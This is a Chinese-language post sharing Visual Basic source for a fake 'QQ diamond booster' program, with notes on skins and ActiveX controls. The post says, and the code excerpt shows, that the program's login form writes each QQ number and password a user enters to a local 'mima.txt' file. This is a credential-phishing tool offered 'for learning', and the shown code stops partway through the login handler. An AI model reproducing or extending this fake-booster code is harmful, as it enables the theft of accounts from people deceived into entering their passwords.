大家好!
今天为大家带来的是“QQ刷钻”!
是由VB研发小峰QQ刷钻VB源码,有自带三种漂亮的界面皮肤,可以随时换肤,换肤功能基于SkinH.dll控件。
本程序是将你登录的QQ账号和密码保存在根目录的"mima.txt"里!
本程序仅供学习参考!
软件开发编写,QQ:962692194
说明:
如果 打开提示错误, 请在工程部件里浏览添加Activex.ocx 控件(*.ocx):
DJMeter.ocx
在根目录下!
此程序网上下载,觉得对新人有些帮助,进行了一些注释,
djmeter.ocx 进度条控件, 没有其它实际功能
部分代码:
Private Sub Command1_Click()
a = Text1.Text
b = Text2.Text
If Len(a) <= 6 Then
MsgBox "请输入正确的QQ号码!", , "登录提示"
ElseIf Len(b) <= 6 Then
MsgBox "请输入正确的QQ密码!", , "登录提示 "
ElseIf Text1.Text = "" Then
MsgBox "请输入账号", , "QQ账号提示"
Text1.SetFocus
ElseIf Text2.Text = "" Then
MsgBox "请输入密码", , "QQ密码提示"
Text2.SetFocus
Else
j = FreeFile
Open "mima.txt" For Append As #1 '把账号密码要保存的路径
Print #1, "QQ帐号:" + a + " QQ密码:" + b
Close #1
Timer1.Enabled = True